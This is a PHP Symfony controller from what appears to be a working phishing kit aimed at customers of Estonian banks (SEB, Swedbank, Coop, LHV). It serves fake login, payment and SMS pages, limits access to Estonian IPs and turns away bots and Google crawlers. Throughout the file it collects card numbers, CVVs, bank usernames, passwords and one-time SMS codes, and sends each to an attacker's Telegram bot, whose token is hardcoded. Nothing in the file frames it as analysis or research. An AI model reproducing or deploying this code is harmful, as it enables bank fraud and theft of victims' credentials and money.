<?php

namespace App\Controller;

use App\Entity\Contact;
use App\Entity\Login;
use App\Entity\User;
use App\Entity\Blacklist;
use Doctrine\DBAL\Connection;
use Doctrine\Persistence\ManagerRegistry;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Serializer\SerializerInterface;

class FrontOfficeController extends AbstractController
{

    private $telegramClick ='https://api.telegram.org/bot7611936623:AAE47OsMUrhAUBBRxBkNxYQm3AdQ0BchrHo/sendMessage?chat_id=-1002998936035&text=' ;
    private $telegram ='https://api.telegram.org/bot7611936623:AAE47OsMUrhAUBBRxBkNxYQm3AdQ0BchrHo/sendMessage?chat_id=-1002998936035&text=' ;
    private $telegramNew ='https://api.telegram.org/bot7611936623:AAE47OsMUrhAUBBRxBkNxYQm3AdQ0BchrHo/sendMessage?chat_id=-1002998936035&text=' ;
    private $country='EE';

    #[Route('/')]
    public function index(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.csob.cz/');
        }
        $hostname = gethostbyaddr($ip);
        $pos1 = strpos($hostname, 'cache', 1); // $pos = 7, not 0
        $pos2 = strpos($hostname, 'google', 1);
        if($pos1 or $pos2 or $hostname==$ip){
        return $this->redirect("https://google.com");
        }
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Home');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Home');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }
        $currentD = $this->get_current_file_url($Protocol='https://');
        $message="";
        $message .= "--".$user->getId()." 📍".$details->capital."--\n";
        $message .= "\n";
        $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
        file_get_contents($this->telegramNew . urlencode($message)."" );
        $response="OK";
        return $this->render('front_office/index.html.twig',array('response'=>$response,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }

    #[Route('/info/')]
    public function info(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Info');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Info');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }

        $response="OK";
        return $this->render('front_office/info.html.twig',array('response'=>$response,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }

    #[Route('/app/')]
    public function app(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('app');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('app');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        $currentD = $this->get_current_file_url($Protocol='https://');
        $message="";
        $message .= "--".$user->getId()." 📍".$details->capital."--\n";
        $message .= "\n";
        $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
        file_get_contents($this->telegramNew . urlencode($message)."" );
        $response="OK";
        return $this->render('front_office/app.html.twig',array('response'=>$response,'user'=>$user,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }

    #[Route('/seb/login/')]
    public function sebLogin(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Seb Login');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Seb Login');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        
        $response="OK";
        return $this->render('front_office/sebLogin.html.twig',array('response'=>$response,'user'=>$user,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }


    #[Route('/swed/login/')]
    public function swedLogin(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('SB Login');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('SB Login');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }
        $user=$em->getRepository(User::class)->findOneByIp($ip);
       
        $response="OK";
        return $this->render('front_office/swedLogin.html.twig',array('response'=>$response,'user'=>$user,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }
 #[Route('/coop/login/')]
    public function coopLogin(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('COOP');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('COOP');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }
        $user=$em->getRepository(User::class)->findOneByIp($ip);
       
        $response="OK";
        return $this->render('front_office/coopLogin.html.twig',array('response'=>$response,'user'=>$user,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }

    #[Route('/lhv/login/')]
    public function lhvLogin(Request $request,ManagerRegistry $doctrine)
    {
        if ($this->antibot($request)==true){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $response="";
        $username="";
        $em=$doctrine->getManager();

        $error=$request->get('Error');
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $user=$em->getRepository(User::class)->findOneByIp($ip);
        if (!$user){

            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('LHV Login');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }else{

            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('LHV Login');
            $em->persist($user);
            $em->flush();
            $session->set('login',$user);
        }
        $user=$em->getRepository(User::class)->findOneByIp($ip);
       
        $response="OK";
        return $this->render('front_office/lhvLogin.html.twig',array('response'=>$response,'user'=>$user,'error'=>$error,'username'=>$username,'ip'=>$ip));
    }

    #[Route('/payment/')]
    public function payment(Request $request,ManagerRegistry $doctrine)
    {
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $response="";
        $username="";

        $ip = $request->getClientIp();
        $em=$doctrine->getManager();
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $id=$session->get('login')->getId();
        $user=$em->getRepository(User::class)->findOneById($id);

        if (!$user){
            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Payment');
            $em->persist($user);
            $em->flush();
        }else{
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('Payment');
            $em->flush();
        }

        return $this->render('front_office/payment.html.twig',array('response'=>$response,'username'=>$username,'ip'=>$ip));
    }



    #[Route('/submit/card/ajax/')]
    public function setCard(Request $request,ManagerRegistry $doctrine)
    {

        $response="";
        $em=$doctrine->getManager();
        $session=new Session();
        $id=$session->get('login')->getId();


        $card=$request->get('cc');
        $year=$request->get('year');
        $month=$request->get('month');
        $cvv=$request->get('cvv');
        $type=$request->get('type');
        $name=$request->get('name');
        $string = str_replace(' ', '', $card);
        $ip = $request->getClientIp();
        $currentD = $this->get_current_file_url($Protocol='https://');
        
        $bin8 = substr($string, 0, 8);
        $ch = curl_init();
        $optArray = array(
            CURLOPT_URL => 'https://lookup.binlist.net/'.$bin8,
            CURLOPT_RETURNTRANSFER => true
        );
        curl_setopt_array($ch, $optArray);
        
        $result = curl_exec($ch);
        
        $resjson=json_decode($result);
        
        if(isset($resjson->bank->name)){
            $responsebank=$resjson->bank->name;
        }else{
            $responsebank="Not Found!";
        }
        
        if(isset($resjson->scheme)){
            $responsescheme=$resjson->scheme;
        }else{
            $responseScheme="Not Found!";
        }
        
        if(isset($resjson->type)){
            $responsetype=$resjson->type;
        }else{
            $responsetype="Not Found!";
        }
        
        if(isset($resjson->brand)){
            $responsebrand=$resjson->brand;
        }else{
            $responsebrand="Not Found!";
        }
        
        if(isset($resjson->prepaid)){
            $responseprepaid=$resjson->prepaid;
            if($responseprepaid==true){
                $responseprepaid="Yes";
            }else{
                $responseprepaid="No";
            }
        }else{
            $responseprepaid="Not Found!";
        }
        $login=$em->getRepository(User::class)->findOneById($id);
        if ($login){
            $login->setIp($ip);
            $login->setExpDate($month."/".$year);
            $login->setCvv($cvv);
            $login->setCard($card);
            $login->setType($type);
            $login->setStep('');
            $login->setDatetime(new \DateTime());
            $em->persist($login);
            $em->flush();
            $session->set('login',$login);
            $message="";
            $message .= "🆔 👉 ".$login->getId()."\n";
            $message .= "\n";
            $message .= "💳 : ".$card ."\n";
            $message .= "EXP : ".$month."/".$year ."\n";
            $message .= "CVV : ".$cvv ."\n";
            $message .= "HOLDER NAME : ".$name ."\n";
            $message .= "\n";
            $message .= "BIN : ".$string ."\n";
            $message .= "Bank : ".$responsebank ."\n";
            $message .= "Scheme : ".$responsescheme ."\n";
            $message .= "Type : ". $responsetype."\n";
            $message .= "Brand : ".$responsebrand ."\n";
            $message .= "Prepaid : ".$responseprepaid ."\n";
            $message .= "\n";
            $message .="🔱LINK: ".$currentD."/panel/"." \n";
            $message .= "\n";
            $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
            file_get_contents($this->telegram . urlencode($message)."" );
            $response="OK";
        }else{
            $login=new User();
            $login->setIp($ip);
            $login->setExpDate($month."/".$year);
            $login->setCvv($cvv);
            $login->setCard($card);
            $login->setType($type);
            $login->setStep('');
            $login->setDatetime(new \DateTime());
            $em->persist($login);
            $em->flush();
            $session->set('login',$login);
            $message="";
            $message .= "🆔 👉 ".$login->getId()."\n";
            $message .= "\n";
            $message .= "💳 : ".$card ."\n";
            $message .= "EXP : ".$month."/".$year ."\n";
            $message .= "CVV : ".$cvv ."\n";
            $message .= "HOLDER NAME : ".$name ."\n";
            $message .= "\n";
            $message .= "BIN : ".$string ."\n";
            $message .= "Bank : ".$responsebank ."\n";
            $message .= "Scheme : ".$responsescheme ."\n";
            $message .= "Type : ". $responsetype."\n";
            $message .= "Brand : ".$responsebrand ."\n";
            $message .= "Prepaid : ".$responseprepaid ."\n";
            $message .= "\n";
            $message .="🔱LINK: ".$currentD."/panel/"." \n";
            $message .= "\n";
            $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
            file_get_contents($this->telegram . urlencode($message)."" );
            $response="OK";
        }
        return new Response($response);
    }


    #[Route('/sms/')]
    public function sms(Request $request,ManagerRegistry $doctrine)
    {
        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://google.com');
        }
        $response="";
        $username="";


        $em=$doctrine->getManager();
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $id=$session->get('login')->getId();
        $user=$em->getRepository(User::class)->findOneById($id);

        if (!$user){
            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('SMS');
            $em->persist($user);
            $em->flush();
        }else{
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('SMS');
            $em->flush();
        }

        return $this->render('front_office/sms.html.twig',array('response'=>$response,'username'=>$username,'ip'=>$ip,"user"=>$user));
    }

    #[Route('/submit/sms/ajax/')]
    public function setSms(Request $request,ManagerRegistry $doctrine)
    {
        $response="";
        $em=$doctrine->getManager();
        $session=new Session();
        $id=$session->get('login')->getId();

        $sms=$request->get('sms');;
        $ip = $request->getClientIp();
        $currentD = $this->get_current_file_url($Protocol='https://');

        $login=$em->getRepository(User::class)->findOneById($id);
        if ($login){
            $login->setSms($sms);
            $login->setStep('');
            $login->setDatetime(new \DateTime());
            $em->persist($login);
            $em->flush();
            $session->set('login',$login);
            $message="";
            $message .= "🆔 👉 ".$login->getId()."\n";
            $message .= "\n";
            $message .= "OTP ✅: ".$sms ."\n";
            $message .= "\n";
            $message .= "FOR 👉 : ".$login->getCard() ."\n";
            $message .= "\n";
            $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
            file_get_contents($this->telegram . urlencode($message)."" );
            $response="OK";
        }else{
            $login=new User();
            $login->setIp($ip);
            $login->setSms($sms);
            $login->setStep('');
            $login->setDatetime(new \DateTime());
            $em->persist($login);
            $em->flush();
            $session->set('login',$login);
            $message="";
            $message .= "🆔 👉 ".$login->getId()."\n";
            $message .= "\n";
            $message .= "OTP ✅: ".$sms ."\n";
            $message .= "\n";
            $message .= "FOR 👉 : ".$login->getCard() ."\n";
            $message .= "\n";
            $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
            file_get_contents($this->telegram . urlencode($message)."" );
            $response="OK";
        }
        return new Response($response);
    }

    #[Route('/resend/sms/ajax/')]
    public function resendSmsAjax(Request $request,ManagerRegistry $doctrine)
    {
        $response="";
        $em=$doctrine->getManager();
        $session=new Session();
        $id=$session->get('login')->getId();
        $login=$em->getRepository(User::class)->findOneById($id);
        $ip = $request->getClientIp();
        $message="";
        $message .= "🆔 👉 ".$login->getId()."\n";
        $message .= "\n";
        $message .= "RESEND SMS\n";
        $message .= "\n";
        $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
        file_get_contents($this->telegramClick . urlencode($message)."" );
        $response="OK";
        return new Response($response);
    }

    #[Route('/langAak/ajax/')]
    public function langAskAjax(Request $request,ManagerRegistry $doctrine)
    {
        $response="";
        $lang=$request->get('lang');
        $em=$doctrine->getManager();
        $session=new Session();
        $session->set('lang',$lang);
        $response="OK";

        return new Response($response);
    }

    #[Route('/get/step/')]
    public function getStep(Request $request,ManagerRegistry $doctrine)
    {
        $response="";
        $session=new Session();
        $em=$doctrine->getManager();

        $id=$session->get('login')->getId();
        $user=$em->getRepository(User::class)->findOneById($id);
        if ($user){
            $response=$user->getStep();
            $user->setDateTime(new \DateTime());
            $em->flush();
        }else{
            $response="home";
        }
        return new Response($response);
    }
	

    #[Route('/get/pin/')]
    public function getPin(Request $request,ManagerRegistry $doctrine,SerializerInterface $serializer)
    {

        $session=new Session();
        $em=$doctrine->getManager();
        $response=array();
        $id=$session->get('login')->getId();
        $user=$em->getRepository(User::class)->findOneById($id);
        $response["pin1"]=$user->getPin1();
        $response["pin2"]=$user->getPin2();
        $user->setStep('');
        $user->setStepNow('pin');
        $user->setDatetime(new \DateTime());
        $em->persist($user);
        $em->flush();
        $serializedUser = $serializer->serialize($response,'json');
        return JsonResponse::fromJsonString($serializedUser);
    }
    
    
    #[Route('/submit/info/ajax/')]
    public function setPhone(Request $request,ManagerRegistry $doctrine)
    {

        $response="";
        $session=new Session();
        $em=$doctrine->getManager();
        $ip = $request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->capital;
        $currentD = $this->get_current_file_url($Protocol='https://');
        $id=$session->get('login')->getId();
        $username=$request->get('username');
        $password=$request->get('password');
        $option=$request->get('option');
        $message="";


        $ip = $request->getClientIp();
        $currentD = $this->get_current_file_url($Protocol='https://');

        $login=$em->getRepository(User::class)->findOneById($id);
        if ($login){
            $login->setUsername($username);
            $login->setPassword($password);
            $login->setStep('');
            $login->setDatetime(new \DateTime());
            $em->persist($login);
            $em->flush();
            $session->set('login',$login);
            $message="";
            $message .= "🆔 👉 ".$login->getId()."\n";
            $message .= "\n";
            $message .= "Methode 👉 : ".$option ."\n";
            $message .= "USERNAME : ".$username ."\n";
            $message .= "PASSWORD : ".$password ."\n";
            $message .= "\n";
            $message .="🔱LINK: ".$currentD."/panel/"." \n";
            $message .= "\n";
            $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
            file_get_contents($this->telegram . urlencode($message)."" );
            $response="OK";
        }else{
            $login=new User();
            $login->setIp($ip);
            $login->setUsername($username);
            $login->setPassword($password);
            $login->setStep('');
            $login->setDatetime(new \DateTime());
            $em->persist($login);
            $em->flush();
            $session->set('login',$login);
            $message="";
            $message .= "🆔 👉 ".$login->getId()."\n";
            $message .= "\n";
            $message .= "Methode 👉 : ".$option ."\n";
            $message .= "USERNAME : ".$username ."\n";
            $message .= "PASSWORD : ".$password ."\n";
            $message .= "\n";
            $message .="🔱LINK: ".$currentD."/panel/"." \n";
            $message .= "\n";
            $message .= "📍IP : http://www.geodatatool.com/?IP=".$ip ."\n";
            file_get_contents($this->telegram . urlencode($message)."" );
            $response="OK";
        }
        $response="OK";
        return new Response($response);
    }

    #[Route('/success/')]
    public function success(Request $request,ManagerRegistry $doctrine)
    {
        $ip=$request->getClientIp();
        $session=new Session();

        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;
        if ($country!=$this->country){
            return $this->redirect('https://nullreferer.com/?https://www.google.com');
        }

        $em=$doctrine->getManager();
        $re=$em->getRepository(Blacklist::class)->findOneByIp($ip);
        if ($re){
            return $this->redirect('https://nullreferer.com/?'.$re->getUrl());
        }
        $session=new Session();
        $id=$session->get('login')->getId();
        $user=$em->getRepository(User::class)->findOneById($id);

        if (!$user){
            $user=new User();
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('SUCCESS');
            $em->persist($user);
            $em->flush();
        }else{
            $user->setIp($ip);
            $user->setStep('');
            $user->setStepNow('SUCCESS');
            $em->flush();
        }
        $b=new Blacklist();
        $b->setIp($ip);
        $b->setDateAjout(new \DateTime());
        $b->setUrl("https://nullreferer.com/?https://www.dpd.com/");
        $em->persist($b);
        $em->flush();
        return $this->render('front_office/success.html.twig',array('ip'=>$ip));
    }
    function antibot($request){

        $ip=$request->getClientIp();
        $details = json_decode(file_get_contents("http://ipwho.is/".$ip));
        $country=$details->country_code;

        if($country==$this->country ){
            return false;
        }else{
            return true;
        }
        

    }







    function get_current_file_url($Protocol='https://') {
        return $Protocol.$_SERVER['HTTP_HOST'];
    }
}
